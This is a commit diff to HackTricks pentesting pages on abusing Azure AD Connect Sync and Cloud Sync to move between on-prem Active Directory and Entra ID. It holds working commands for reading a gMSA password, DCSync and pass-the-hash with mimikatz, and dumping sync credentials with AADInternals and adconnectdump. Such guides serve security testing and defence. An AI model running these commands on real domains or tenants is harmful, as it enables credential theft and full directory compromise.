Skip to content

Commit 6c2ecbc

Browse files
committed
update
1 parent e83e262 commit 6c2ecbc

File tree

3 files changed

+158
-18
lines changed

3 files changed

+158
-18
lines changed

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md

Lines changed: 49 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ In order for this to work some principals are created in both Entra ID and the O
2323
- In the AD, either the Service Account **`provAgentgMSA`** is created with a SamAcountName like **`pGMSA_<id>[email protected]`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), or a custom one with [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Usually the default one is created.
2424

2525
> [!WARNING]
26-
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permisions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
26+
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
2727
2828
> [!NOTE]
2929
> Domain admins are not replicated because the Domain Admin group has the **`adminCount` attribute to 1**. But other users might be replicated and attackable if you compromises them from EntraID: https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
@@ -46,40 +46,84 @@ az-connect-sync.md
4646

4747
- If the AD users are being synced from the AD to Entra ID, pivoting from AD to Entra ID is straightforward, just **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**.
4848

49+
So you could for example
50+
- Compromise the **`provAgentgMSA`** account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID.
51+
- Just create a new user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
52+
- Modify the password of some user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID.
53+
54+
To compromise the **`provAgentgMSA`** credentials:
55+
56+
```powershell
57+
# Enumerate provAgentgMSA account
58+
Get-ADServiceAccount -Filter * -Server domain.local
59+
# Find who can read the password of the gMSA (usually only the DC computer account)
60+
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
61+
62+
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
63+
lsadump::dcsync /domain:domain.local /user:<dc-name>$
64+
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
65+
66+
# Or you can change who can read the password of the gMSA account to all domain admins for example:
67+
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
68+
69+
# Read the password of the gMSA
70+
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
71+
72+
#Install-Module -Name DSInternals
73+
#Import-Module DSInternals
74+
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
75+
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
76+
```
77+
78+
Now you could use the hash of the gMSA to perform a Pass-the-Hash attack against Entra ID using the `provAgentgMSA` account and maintain persistence being able to perform DCSync attacks against the AD.
79+
4980
For more information about how to compromise an Active Directory check:
5081

5182
{{#ref}}
5283
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
5384
{{#endref}}
5485

5586
> [!NOTE]
56-
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributtes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
87+
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
5788
5889
{{#ref}}
5990
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
6091
{{#endref}}
6192

6293
### Entra ID --> AD
6394

64-
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, conenct using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
95+
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
6596

66-
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchonizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
97+
- At this point in time Cloud Sync also allows **"Microsoft Entra ID to AD"**, but after too much time I found that it CANNOT synchronize EntraID users to AD and that it can only synchronize users from EntraID that were synchronized with the password hash and come from a domain that belong to the same domain forest as the domain we are synchronizing to as you can read in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
6798

6899
> - These groups can only contain on-premises synchronized users and / or additional cloud created security groups.
69100
> - The on-premises user accounts that are synchronized and are members of this cloud created security group, can be from the same domain or cross-domain, but they all must be from the same forest.
70101
71-
So the attack surface (and usefulness) of this service is greately reduced as an attacker would need to compromise the initial AD from where the users are being synhronized in order to compromise a user in the other domain (and both must be inte same forest aparently).
102+
So the attack surface (and usefulness) of this service is greatly reduced as an attacker would need to compromise the initial AD from where the users are being synchronized in order to compromise a user in the other domain (and both must be in the same forest apparently).
72103

73104

74105
### Enumeration
75106

76107
```bash
108+
Import-Module AADInternals
109+
110+
# Check if the Cloud Sync is enabled in the tenant
111+
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
112+
113+
# Check for the gMSA SA
114+
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
115+
116+
117+
118+
77119
# Get all the configured cloud sync agents (usually one per on-premise domain)
78120
## In the machine name of each you can infer the name of the domain
79121
az rest \
80122
--method GET \
81123
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
82124
--headers "Content-Type=application/json"
125+
126+
83127
```
84128

85129

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md

Lines changed: 46 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -20,8 +20,9 @@ az-cloud-sync.md
2020
### Principals Generated
2121

2222
- The account **`MSOL_<installationID>`** is automatically created in the on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
23-
- This means that anyone taht compromises this account will be able to compromise the on-premise domain.
24-
- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
23+
- This means that anyone that compromises this account will be able to compromise the on-premise domain.
24+
- An managed service account **`ADSyncMSA<id>`** is created in the on-prem AD without any special default privileges.
25+
- In Entra ID the Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** is created with a certificate.
2526

2627
## Synchronize Passwords
2728

@@ -53,6 +54,8 @@ Domain admins and other users belonging to some pivileged groups are not replica
5354

5455
## Pivoting
5556

57+
### AD --> Entra ID
58+
5659
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
5760
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
5861

@@ -70,7 +73,7 @@ If the **server where Azure AD connect is installed** is domain joined (recommen
7073

7174
```bash
7275
# ActiveDirectory module
73-
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
76+
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
7477

7578
#Azure AD module
7679
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
@@ -80,21 +83,57 @@ Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
8083
8184
```bash
8285
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
86+
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
87+
Import-Module AADInternals
8388
Get-AADIntSyncCredentials
89+
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
90+
91+
# Using https://github.com/dirkjanm/adconnectdump
92+
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
93+
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
94+
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
8495

8596
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
8697
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
8798
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
8899
```
89100
90-
> [!CAUTION]
91-
> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
92101
93-
### Abusing Sync\_\*
102+
> [!WARNING]
103+
> Previous attacks compromised the other password to then connect to Entra ID user called `Sync_*` and then compromise Entra ID. However, this user no longer exists.
104+
105+
106+
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
107+
108+
This application is created without having any Entra ID or Azure management roles assigned. However, it has the following API permissions:
109+
110+
- Microsoft Entra AD Synchronization Service
111+
- `ADSynchronization.ReadWrite.All`
112+
- Microsoft password reset service
113+
- `PasswordWriteback.OffboardClient.All`
114+
- `PasswordWriteback.RefreshClient.All`
115+
- `PasswordWriteback.RegisterClientVersion.All`
116+
117+
It's mentioned that the SP of this application can be still be used to perform some privileged actions using an undocumented API, but no PoC has been found yet afaik.\
118+
In any case, thinking that this might be possible it would be interesting to explore further how to find the certificate to login as this service principal and try to abuse it.
119+
120+
This [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) release soon before the change from using the `Sync_*` user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a **service principal** can always assign itself new certificates) and then use it to maintain persistence as the SP.
121+
122+
In order to perferm these actions, the following tools are published: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
123+
124+
In my experience, the certificate is no longer stored in the place where the previous tool was looking for it, and therefore, the tool doesn't work anymore. So further research might be needed.
125+
126+
### Abusing Sync\_\* [DEPRECATED]
127+
128+
> [!WARNING]
129+
> Previously a user called `Sync_*` was created in Entra ID with very sensitive permissions assigned, which allowed to perform privileged actions like modifying the password of any user or adding a new credential to a service principal. However, from Jan2025 this user is no longer created by default as now the Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** is used. However, it might still be present in some environments, so it's worth checking for it.
94130
95131
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
96132
97133
```bash
134+
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
135+
Import-Module AADInternals
136+
98137
# This command, run previously, will give us alse the creds of this account
99138
Get-AADIntSyncCredentials
100139

@@ -146,6 +185,7 @@ seamless-sso.md
146185
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
147186
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
148187
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
188+
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
149189
150190
{{#include ../../../../banners/hacktricks-training.md}}
151191

0 commit comments

Comments
 (0)